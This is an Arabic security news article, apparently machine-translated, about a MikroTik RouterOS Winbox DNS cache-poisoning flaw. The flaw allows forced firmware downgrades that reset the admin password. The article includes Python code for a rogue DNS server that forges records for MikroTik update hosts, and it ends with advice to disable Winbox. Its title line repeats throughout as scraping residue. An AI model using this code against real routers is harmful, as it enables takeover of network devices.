تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

تؤدي القدرة على الرجوع إلى إصدار أقدم من الأجهزة عن بُعد استنادًا إلى RouterOS (Mikrotik) إلى تعريض مئات الآلاف من أجهزة الشبكة للخطر. تتعلق الثغرة الأمنية بإفساد ذاكرة التخزين المؤقت لـ DNS لبروتوكول Winbox وتسمح لك بتنزيل البرامج القديمة (مع إعادة تعيين كلمة المرور الافتراضية) أو تعديل البرامج الثابتة على الجهاز.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

تفاصيل الثغرة الأمنية

تدعم محطة RouterOS الطرفية أمر الحل لعمليات بحث DNS.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

تتم معالجة هذا الطلب بواسطة محلل ثنائي يسمى. Resolver هو واحد من العديد من الثنائيات المتصلة ببروتوكول Winbox الخاص بـ RouterOS. على مستوى عالٍ ، يمكن توجيه "الرسائل" المرسلة إلى منفذ Winbox إلى ثنائيات مختلفة في RouterOS استنادًا إلى نظام ترقيم قائم على المصفوفة.

يتم تعطيل ميزة خادم DNS افتراضيًا في RouterOS.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

ومع ذلك ، حتى مع تعطيل وظيفة الخادم ، يحتفظ جهاز التوجيه بذاكرة التخزين المؤقت DNS الخاصة به.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

عندما نقوم بتقديم طلب باستخدام winbox_dns_request مثل example.com ، سيقوم جهاز التوجيه بتخزين النتيجة مؤقتًا.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

نظرًا لأنه يمكننا تحديد خادم DNS الذي يجب أن يمر الطلب من خلاله ، فمن التافه إدخال عناوين غير صحيحة. على سبيل المثال ، يمكنك تكوين تنفيذ خادم DNS من فيليب كلوزللرد دائمًا بسجل A يحتوي على عنوان IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

الآن إذا كنت تستخدم Winbox للبحث عن example.com ، يمكنك أن ترى أن ذاكرة التخزين المؤقت DNS الخاصة بجهاز التوجيه قد تعرضت للتلف.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

بالطبع ، تسميم example.com ليس مفيدًا جدًا ، لأن جهاز التوجيه لن يستخدمه بالفعل. ومع ذلك ، يحتاج جهاز التوجيه إلى الوصول إلى updates.mikrotik.com و cloud.mikrotik.com و cloud2.mikrotik.com و download.mikrotik.com. وبفضل خطأ آخر ، من الممكن تسميمهم جميعًا مرة واحدة.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

يطلب جهاز التوجيه منحة واحدة ، ونحن نعيد منح خمسة. يقوم جهاز التوجيه بتخزين كل هذه الاستجابات مؤقتًا بشكل غير صحيح.

تهدد ثغرة Backport في RouterOS مئات الآلاف من الأجهزة

من الواضح أن هذا الهجوم مفيد أيضًا إذا كان جهاز التوجيه يعمل كخادم DNS ، لأنه يسمح بمهاجمة عملاء جهاز التوجيه.

يسمح هذا الهجوم أيضًا باستغلال ثغرة أمنية أكثر خطورة: تخفيض إصدار RouterOS أو إعادة إصداره. يقوم المهاجم بإعادة إنشاء منطق خادم التحديث ، بما في ذلك سجل التغيير ، ويفرض على RouterOS قبول الإصدار القديم (المعرض للخطر) باعتباره محدثًا. يكمن الخطر هنا في حقيقة أنه عند "ترقية" الإصدار ، تتم إعادة تعيين كلمة مرور المسؤول إلى القيمة "الافتراضية" - يمكن للمهاجم تسجيل الدخول بكلمة مرور فارغة!


الهجوم يعمل بشكل جيد ، على الرغم من حقيقة ذلك الكاتب تنفذ العديد من النواقل المرتبطة ، من بين أشياء أخرى ، بـ تضمين باب خلفي في البرامج الثابتة، لكنها بالفعل تقنية زائدة عن الحاجة واستخدامها لأغراض غير مشروعة غير قانوني.

حماية

ببساطة ، فإن تعطيل Winbox يساعد في الحماية من هذه الهجمات. على الرغم من راحة الإدارة من خلال Winbox ، فمن الأفضل استخدام بروتوكول SSH.

المصدر: www.habr.com

إضافة تعليق